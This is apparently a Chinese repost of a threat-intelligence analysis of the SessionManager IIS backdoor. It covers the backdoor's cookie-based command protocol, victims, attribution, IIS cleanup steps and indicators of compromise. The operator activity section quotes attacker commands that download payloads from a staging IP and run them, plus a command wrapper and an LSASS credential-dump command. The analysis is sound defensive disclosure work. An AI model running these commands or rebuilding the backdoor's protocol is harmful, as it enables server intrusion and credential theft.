简介
继之前发现Owowa 之后,研究人员继续在IIS中寻找更多可能设置为恶意程序的后门。2021 年,研究人员发现几个攻击者在利用Microsoft Exchange 服务器中的ProxyLogon 漏洞后,在 IIS 中部署后门。将 IIS 作为后门投放,使攻击者能够保持对目标组织的 IT 基础设施的持久、抗更新和相对隐蔽的访问;收集电子邮件、更新进一步的恶意访问和秘密管理可用作恶意基础设施的被感染服务器。
2022 年初,研究人员调查了IIS 后门:SessionManager。2022 年 4 月下旬,研究人员发现的大多数样本仍未在流行的在线文件扫描服务中被标记为恶意,且SessionManager 仍存在于 20 多个组织中。
至少从 2021 年 3 月开始,SessionManager已被用于针对非洲、南美、亚洲、欧洲、俄罗斯和中东的非政府组织、政府、军事和工业组织。由于相似的目标,以及使用常见的OwlProxy变体,研究人员认为恶意的 IIS可能已被GELSEMIUM团伙利用,作为间谍活动的一部分。
SessionManager:Web 服务器中的程序
SessionManager 是用 c++ 开发的一个恶意的本机代码IIS程序,其目的是被一些 IIS 应用程序加载,以处理不断发送到服务器的合法HTTP请求。
此类恶意程序通常期望来自其运营人员的看似合法但经过专门设计的 HTTP 请求,根据其隐藏的指令(如果有)触发操作,然后将请求透明地传递给服务器,使其像其它请求一样进行处理(参见图 1 )。
因此,这些程序不容易被常见的监控方法发现:它们不一定会向外部服务器发起可疑的通信,通过HTTP请求接收特定于这些进程的服务器的命令,而且它们的文件经常被放在包含许多其它合法文件的易被忽略的位置。
图 1. 恶意 IIS 处理请求
SessionManager 具有以下功能,当结合使用时,可以使其成为轻量级的持久初始访问后门:
-
读取、写入和删除被感染服务器上的任意文件。
-
从被感染的服务器执行任意二进制文件,也称为“远程命令执行”。
-
建立与被感染服务器可以访问的任意网络端点的连接,以及在此类连接中进行读写。
研究人员确定了 SessionManager 的几个变体,所有变体都包括其开发环境(PDB 路径)和编译日期,它们与观察到的活动时间范围一致。这表明了后门仍在不断更新:
-
V0:研究人员识别的最早的样本(MD5 5FFC31841EB3B77F41F0ACE61BECD8FD)的编译日期是2021年3月。样本包含一个开发路径(PDB路径):“C:UsersGodLikeDesktoptt4StripHeaders-masterx64 Releasesessionmanagermodule.pdb”。这表明 SessionManager 开发人员可能已经使用StripHeaders 的IIS 程序中公共源代码作为模板来设计 SessionManager。 -
V1:更高版本的样本(MD5 84B20E95D52F38BB4F6C998719660C35)的编译日期为2021 年 4 月,PDB 路径设置为“C:UsersGodLikeDesktoptt4SessionManagerModulex64Releasesessionmanagermodule.pdb”。 -
V2:另一个样本(MD5 4EE3FB2ABA3B82171E6409E253BDDDB5)的编译日期为2021 年 8 月,PDB 路径与之前的 V1 相同,只是项目文件夹名称为“SessionManagerV2Module”。 -
V3:研究人员识别的最后一个样本 (MD5 2410D0D7C20597D9B65F237F9C4CE6C9) 日期为2021 年 9 月,项目文件夹名称设置为“SessionManagerV3Module”。
SessionManager 命令和控制协议
SessionManager 通过在 IIS 响应 HTTP 请求之前检查 HTTP 数据,将自身挂到 Web 服务器的 HTTP 通信处理中(参见图 2)。在 HTTP 处理的这个特定步骤中,SessionManager 可以检查来自客户端(运营人员)的 HTTP 请求的全部内容,并修改服务器发送给客户端的应答(包括后门活动的结果),如前所述如图1所示。
命令使用特定的HTTP cookie名称从运营人员传递到 SessionManager。后门对运营人员的应答通常会被插入服务器 HTTP 响应的正文中。如果在来自客户端的 HTTP 请求中没有找到预期的 cookie 名称和值的格式,则后门将不执行任何操作,并继续处理,就好像恶意程序不存在一样。
SessionManager 检查的特定 HTTP cookie 名称在 V2(不包括)之前的变体中是“SM_SESSIONID”,在 V2 之后是“SM_SESSION”。确切的命令名称和参数的格式也取决于后门变体:
-
在 V2(不包括)之前,大部分命令和相关参数都是作为所需 SessionManager HTTP cookie 的值传递的,例如对于文件读取命令:
Cookie: SM_SESSIONID=ReadFile-afile.txt
远程执行和文件写入功能需要在 HTTP 请求正文中传递额外的命令数据。
-
在 V2(包括)之后,仅命令名称作为所需的 SessionManager HTTP cookie 值传递。命令参数使用附加 cookie 的名称和值传递,而某些命令仍然需要在 HTTP 正文中传递数据。例如,文件读取命令的 HTTP cookie 定义如下所示:
Cookie: SM_SESSION=GETFILE;FILEPATH=afile.txt;
执行命令的结果在 HTTP 响应中作为正文数据返回。在 V2(不包括)之前,SessionManager 没有加密或混淆命令和控制数据。从 V2(包括)开始,额外的“SM_KEY”cookie 包含在运营人员的 HTTP 请求中:这样,它的值将用作 XOR 密钥来编码 SessionManager 发送的结果。
SessionManager 最新变体的完整命令列表如下所示:
命令名称 |
命令参数 |
相关行为 |
GETFILE |
FILEPATH:要读取的文件的路径。FILEPOS1:从文件开始读取的偏移量。 FILEPOS2:要读取的最大字节数。 |
读取被感染服务器上文件的内容,并将其作为名为 cool.rar 的 HTTP 二进制文件发送给运营人员 。 |
PUTFILE |
FILEPATH:要写入的文件的路径。 FILEPOS1:开始写入的偏移量。 FILEPOS2:偏移参考。 FILEMODE:请求的文件访问类型。 |
将任意内容写入被感染服务器上的文件。要写入指定文件的数据在 HTTP 请求正文中传递。 |
DELETEFILE |
FILEPATH:要删除的文件路径。 |
删除被感染服务器上的文件。 |
FILESIZE |
FILEPATH:要测量的文件的路径。 |
获取指定文件的大小(以字节为单位)。 |
CMD |
无。 |
在被感染的服务器上运行任意进程。要运行的进程及其参数在 HTTP 请求正文中使用以下格式指定:<executable path>t<arguments>。来自流程执行的标准输出和错误数据以纯文本形式在 HTTP 响应正文中发送回运营人员。 |
PING |
无。 |
检查 SessionManager 部署情况。将在 HTTP 响应体中向运营人员发送消息"Wokring OK"(原文如此)。 |
S5CONNECT |
S5HOST:要连接的主机名(不包含S5IP )。 S5PORT:开始写入的偏移量。 S5IP:如果没有给出主机名,则要连接的 IP 地址(S5HOST 除外)。 S5TIMEOUT:允许连接的最大延迟(以秒为单位)。 |
使用创建的 TCP 套接字从被感染的主机连接到指定的网络端点。创建并连接的套接字的整数标识符将作为 HTTP 响应中 S5ID cookie 变量的值返回,连接状态将在 HTTP 响应正文中报告。 |
S5WRITE |
S5ID:要写入的套接字的标识符,由 S5CONNECT 返回。 |
将数据写入指定的连接套接字。要写入指定套接字的数据在 HTTP 请求正文中传递。 |
S5READ |
S5ID:要读取的套接字的标识符,由 S5CONNECT 返回。 |
从指定的连接套接字读取数据。读取的数据在 HTTP 响应正文中发回。 |
S5CLOSE |
S5ID:要关闭的套接字的标识符,由 S5CONNECT 返回。 |
终止现有的套接字连接。操作的状态作为 HTTP 响应正文中的消息返回。 |
SessionManager部署后活动
安装后,运营人员将利用 SessionManager 进一步分析目标环境、收集内存密码并安装其它工具。值得注意的是,在 2021 年 3 月至 2021 年 4 月期间,运营团伙使用 SessionManager 远程执行命令中的 Powershell WebClient 功能从服务器 IP 地址 202.182.123[.]185 下载,例如:
powershell "(New-Object Net.WebClient).DownloadFile('hxxp://202.182.123[.]185/Dll2.dll','C:WindowsTempwin32.dll')"
powershell "(New-Object Net.WebClient).DownloadFile('hxxp://202.182.123[.]185/ssp.exe','C:WindowsTempwin32.exe')"
C:WindowsTempwin32.exe C:WindowsTempwin32.dll
运营人员试图从 SessionManager 下载和执行的其它工具包括基于 powersploits 的Mimikatz DLL、Mimikatz SSP、ProcDump 的反射性加载程序,以及来自 Avast的合法内存转储工具(MD5 36F2F67A21745438A1CC430F2951DFBC)。后者已被SessionManager 运营人员滥用以尝试读取LSASS进程的内存,这将在被感染的服务器上进行身份验证机密收集。运营团队还尝试利用 Windows 内置的Minidump功能来做同样的事情。
为了避免被安全产品检测,SessionManager 运营人员有时会通过 Windows 服务管理器命令行运行启动器脚本,来尝试额外的恶意活动。从 2021 年 11 月开始,运营团伙试图利用自定义的 pyinstaller 打包的Python脚本来混淆命令执行尝试。这种 Python 脚本源代码如下所示:
import os, sys, base64, codecs
from subprocess import PIPE, Popen
def cmdlet(c):
cmdlet = c.split('(-)')
p = Popen(cmdlet, stdin=PIPE, stdout=PIPE, stderr=PIPE, shell=True)
_out, _err = p.communicate()
return (codecs.decode(_out, errors='backslashreplace'), codecs.decode(_out, errors='backslashreplace'))
print('n---------------------n'.join(cmdlet(sys.argv[1])))
通过此工具进行的命令执行尝试如下:
C:WindowsTempvmmsi.exe cmd.exe(-)/c(-)"winchecksec.exe -accepteula -ma lsass.exe seclog.dmp"
在 2021 年 12 月的一个样本中,SessionManager运营人员试图执行一个额外的工具,遗憾的是研究人员无法检索到。该工具设置为与 IP 地址 207.148.109[.]111 进行通信,这很可能是运营团队的基础设施的一部分。
SessionManager 目标
研究人员成功地识别了被SessionManager 入侵的 34 台服务器,它们属于阿根廷、亚美尼亚、中国、吉布提、赤道几内亚、斯威士兰、香港、印度尼西亚、肯尼亚、科威特、马来西亚、尼日利亚、巴基斯坦、波兰、俄罗斯联邦、沙特阿拉伯、台湾、泰国、土耳其、英国和越南(见图 3)。
通常情况下,研究人员只能在每个组织中发现一个被感染的服务器,每个地点只能发现一个被攻击的组织;但越南是一个例外,因为在那里可以发现多个组织的多台的服务器被攻击。在这些已确定的组织中,有20 个组织直到 2022 年 6 月还在运行被感染的服务器。
此外,研究人员还设法在 2021 年 3 月中旬在老挝确定了同一活动的早期目标,该目标没有被 SessionManager 入侵。
图 3. SessionManager 活动针对的组织地图(颜色越深表示集中度越高)
大多数被感染的服务器属于政府或军事组织,但也发现了国际和国家非政府组织、电子设备制造商、造船公司、医疗保健集团、当地公路运输公司、国有石油公司、国家电力公司、售货亭制造商和 ERP 软件开发商。
归因
首先,研究人员发现了一个额外的恶意二进制文件(MD5 5F15B17FA0E88D40D4E426E53CF94549,编译日期设置为2020 年 4 月),它与 SessionManager 样本共享一个公共 PDB 路径部分(“C:UsersGodLikeDesktopt”)。这个二进制文件是一个密码窃取程序,旨在当更改 Windows 用户密码时获取它们。它是从一个名为Hook-PasswordChangeNotify 的文档的公共源代码编译而来的。不幸的是,研究人员无法检索到有关此二进制利用的任何其它信息,但它可能是由与 SessionManager 相同的开发人员开发的。
然后在 2021 年 3 月中旬,也就是研究人员第一次检测到 SessionManager 前不久,注意到一个攻击者利用 ProxyLogon 类型的漏洞,针对老挝的一台 Exchange Server 部署了 Web shell,并使用与上述相同的 Mimikatz SSP 和 Avast 内存转储工具进行恶意活动。不仅工具样本相同,而且其中一个是从 SessionManager 运营人员利用的暂存服务器(202.182.123[.]185) 下载的。因此,研究人员推断这些恶意活动是由SessionManager 背后的同一攻击者进行的。
有趣的是,攻击者试图在老挝的被感染服务器上下载并执行两个名为 OwlProxy 的 HTTP 服务器类型后门样本。随后发现,这些 OwlProxy 样本中至少有一个也是在 2021 年 3 月底从 202.182.123[.]185 下载到至少两个被SessionManager攻击的服务器上。因此,可以推断 SessionManager背后的团伙在使用 SessionManager 之前也使用或尝试使用过那些 OwlProxy 样本。
检索到的样本的特定 OwlProxy 变体仅被记录为 GELSEMIUM 活动的一部分。研究人员还注意到 SessionManager 目标与 GELSEMIUM 的目标有部分重叠。因此,认为 SessionManager 可能由 GELSEMIUM 运营,但不一定只有 GELSEMIUM。
防御恶意的 IIS
此处描述的活动再次表明,自2021 年 3 月以来,ProxyLogon类型的漏洞已被广泛用于部署相对简单但非常有效的持久性服务器访问,如SessionManager后门。
虽然攻击者对ProxyLogon 的一些利用立即被记录下来,但 SessionManager在一年内都没有被发现。面对大规模的且前所未有的服务器端漏洞利用,大多数网络安全人员都忙于调查和应对首批被发现的违规行为。因此,在数月或数年后仍有可能发现相关的恶意活动,而且这种情况可能会持续很长时间。
无论如何,从 2021 年开始,在 ProxyLogon 类型的漏洞暴露出可趁之机之后,IIS 服务器必须经历一个完整的专业的审查流程。可以通过使用IIS Manager GUI或IIS appcmd命令行,列出正在运行的 IIS 实例的加载的IIS 程序。如果识别出恶意程序,建议采取以下措施(仅删除恶意程序文件并不够):
-
在执行 IIS 的当前运行系统上拍摄一个内存快照。如果需要,请向取证和事件响应专家求助。
-
停止 IIS 服务器,并在理想情况下断开底层系统与公共可访问网络的连接。
-
备份 IIS 环境中的所有文件和日志,保留数据以进行进一步的事件响应。检查备份是否可以成功打开或提取。
-
使用 IIS 管理器或 appcmd 命令工具,从应用程序和服务器配置中删除已识别程序的每个引用。手动检查相关的IIS XML 配置文件,确保对恶意程序的所有引用都已删除;否则,手动删除 XML 文件中的引用。
-
更新 IIS 服务器和底层操作系统,以确保没有已知漏洞仍然存在。
-
重新启动 IIS 服务器并使系统再次联机。
建议接着进行恶意程序分析和事件响应活动(从已准备好的内存快照和备份中),以了解被识别的恶意工具是如何被其运营人员利用的。
IoC
SessionManager
5FFC31841EB3B77F41F0ACE61BECD8FD
84B20E95D52F38BB4F6C998719660C35
4EE3FB2ABA3B82171E6409E253BDDDB5
2410D0D7C20597D9B65F237F9C4CE6C9
Mimikatz runners
95EBBF04CEFB39DB5A08DC288ADD2BBC
F189D8EFA0A8E2BEE1AA1A6CA18F6C2B
PyInstaller打包的进程创建包装器
65DE95969ADBEDB589E8DAFE903C5381
OwlProxy变体样本
235804E3577EA3FE13CE1A7795AD5BF9
30CDA3DFF9123AD3B3885B4EA9AC11A8
可能相关的密码窃取程序
5F15B17FA0E88D40D4E426E53CF94549
文件路径
%PROGRAMFILES%MicrosoftExchange ServerV15ClientAccessOWAAuthSessionManagerModule.dll
%PROGRAMFILES%MicrosoftExchange ServerV15FrontEndHttpProxybinSessionManagerModule.dll
%WINDIR%System32inetsrv SessionManagerModule.dll
%WINDIR%System32inetsrvSessionManager.dll
C:WindowsTempExchangeSetupExch.ps1
C:WindowsTempExch.exe
C:WindowsTempvmmsi.exe
C:Windows Tempsafenet.exe
C:WindowsTempupgrade.exe
C:WindowsTempexupgrade.exe
C:WindowsTempdvvm.exe
C:WindowsTempvgauth.exe
C:Windows Tempwin32.exe
PDB路径
C:UsersGodLikeDesktoptt4StripHeaders-masterx64Releasesessionmanagermodule.pdb
C:UsersGodLikeDesktoptt4SessionManagerModulex64Releasesessionmanagermodule.pdb
C: UsersGodLikeDesktoptt4SessionManagerV2Modulex64Releasesessionmanagermodule.pdb
C:UsersGodLikeDesktoptt4SessionManagerV3Modulex64Releasesessionmanagermodule.pdb
C:UsersGodLikeDesktop tt0Hook-PasswordChangeNotify-masterHookPasswordChangex64ReleaseHookPasswordChange.pdb
IP地址
202.182.123[.]185(暂存服务器,至少在 2021-03 和 04 之间)
207.148.109[.]111(未识别的基础设施)
原文链接:
https://securelist.com/the-sessionmanager-iis-backdoor/106868/
原文始发于微信公众号(维他命安全):SessionManager的分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论